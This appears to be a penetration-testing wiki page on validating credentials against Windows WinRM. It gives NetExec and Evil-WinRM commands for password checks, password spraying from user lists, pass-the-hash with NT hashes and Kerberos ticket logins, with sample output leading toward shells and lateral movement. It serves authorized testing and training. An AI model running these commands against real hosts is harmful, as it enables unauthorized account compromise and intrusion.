# WinRM Credential Validation

- **URL:** https://hackindex.io/services/winrm/enumeration/winrm-credential-validation
- **Path:** WinRM > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/winrm/enumeration.md)
- **Published:** 2026-01-04
- **Updated:** 2026-05-15

The goal is to confirm: **does WinRM accept these creds**, on **5985/5986**, with **NTLM/Kerberos/Basic**, and whether you’re authenticating as **domain** or **local**. Once you have a clean “works”, you can pivot into execution or an interactive shell.

## Fast path

If you already know WinRM is up:

```bash
nxc winrm $TARGET_IP -u $USER -p $PASSWORD
# WINRM       192.168.255.131 5985   ROGER            [*] http://192.168.255.131:5985/wsman
# WINRM       192.168.255.131 5985   ROGER            [+] GOLD\user:password (Pwn3d!)
```

Expected signals:

- `(+)... (Pwn3d!)` means auth succeeded and you have usable access via WinRM.
- `(-) ... Failed to authenticate ...` means creds are wrong, blocked, or the offered auth method doesn’t match what the service accepts.

If you suspect HTTPS WinRM:

```bash
nxc winrm $TARGET_IP -u $USER -p $PASSWORD --port 5986
```

If your target uses a non-standard port:

```bash
nxc winrm $TARGET_IP --port $PORT -u $USER -p $PASSWORD
```

## Domain vs local user format

If you have a domain, be explicit:

```bash
nxc winrm $TARGET_IP -u "$DOMAIN\\$USER" -p $PASSWORD
```

If you’re testing local accounts, also be explicit:

```bash
nxc winrm $TARGET_IP -u ".\\$USER" -p $PASSWORD
```

What to do with results:

- If `"$DOMAIN\\$USER"` fails but `".\\$USER"` works, you’re in local-account land. Don’t assume AD paths for this identity.
- If you only get success when the domain is included, lock `$DOMAIN` in and reuse that format across other protocols.

## SMB is closed or filtered

NetExec often tries to pull extra context via SMB. If **445 is closed** or filtered, avoid the SMB dependency by setting the domain explicitly:

```bash
nxc winrm $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
```

This matters when WinRM is exposed but SMB isn’t, common on segmented networks or hardened hosts.

## Password spraying over WinRM

One password across many users: for a dedicated spraying workflow see [WinRM Brute Force and Password Spray](https://hackindex.io/services/winrm/exploitation/brute-force-password-spray):

```bash
nxc winrm $TARGET_IP -u users.txt -p $PASSWORD --no-bruteforce --continue-on-success
```

Userlist + passwordlist combo (still keep it controlled to avoid lockouts):

```bash
nxc winrm $TARGET_IP -u users.txt -p passwords.txt --no-bruteforce
# WINRM  $TARGET_IP 5985  HOSTNAME  [-] $DOMAIN\$USER:$PASSWORD "Failed to authenticate ... with ntlm"
# WINRM  $TARGET_IP 5985  HOSTNAME  [+] $DOMAIN\alice:Winter2026! (Pwn3d!)
#
```

Next move:

- Any `(Pwn3d!)` result is a green light to attempt command exec or an interactive session via [Evil-WinRM](https://hackindex.io/services/winrm/exploitation/evil-winrm).
- Repeated failures with a known-good password elsewhere often means WinRM auth method mismatch, policy restrictions, or the account isn’t allowed WinRM logon.

## Pass-the-hash validation

If you have an NT hash and want to see if it’s usable over WinRM, validate with Evil-WinRM first. It’s a clean “does this hash open a WinRM session” test.

```bash
evil-winrm -i $TARGET_IP -u $USER -H <NTHASH>
```

If WinRM is on 5986:

```bash
evil-winrm -i $TARGET_IP -u $USER -H <NTHASH> -S
```

Interpretation:

- If the session opens, the hash is good for WinRM lateral movement.
- If it fails but works on SMB elsewhere, WinRM may be restricted or only allowing Kerberos, or the listener is behind a proxy that behaves differently.

## Kerberos credential validation

Kerberos only makes sense if you can resolve the target properly and have realm config. Use the **FQDN** for Kerberos auth whenever possible.

Get a ticket:

```bash
kinit $USER@$DOMAIN
klist
```

Then use Evil-WinRM with Kerberos, passing the realm:

```bash
evil-winrm -i $TARGET_IP -r $DOMAIN
```

If you have a ticket cache file (ccache/kirbi):

```bash
evil-winrm -i $TARGET_IP -r $DOMAIN -K /path/to/ticket.ccache
```

What to do with results:

- Kerberos success is your “cleanest” auth path in AD environments. Prefer it when you can, especially if NTLM is restricted.
- If Kerberos fails but NTLM succeeds, you likely have DNS/SPN/realm issues, not bad creds.

## Validate the WinRM endpoint you’re hitting

If you’re seeing inconsistent behavior, set the explicit endpoint path (common default is `/wsman`):

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -U /wsman
```

If the port is not 5985:

```bash
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -P $PORT -U /wsman
```

## What to do next

If creds validate cleanly:

- Move straight into WinRM execution or an interactive shell workflow.
- If it’s a domain account, reuse the same identity format across SMB/LDAP/RDP checks.

If creds fail but you’re confident they’re correct:

- Re-check which auth schemes are offered on the endpoint and whether you’re testing the right port and path.
- If only 5986 is open, stop testing 5985.
- If SMB is blocked, make sure you used `-d $DOMAIN` with `nxc winrm`.

## References

- [NetExec WinRM Authentication](https://www.netexec.wiki/winrm-protocol/authentication) - Credential testing and -d domain handling when SMB is unavailable
- [NetExec WinRM Password Spraying](https://www.netexec.wiki/winrm-protocol/password-spraying) - --no-bruteforce and spray patterns
- [Evil-WinRM](https://github.com/Hackplayers/evil-winrm) - Usage flags for password, hash, SSL, endpoint, and Kerberos ticket support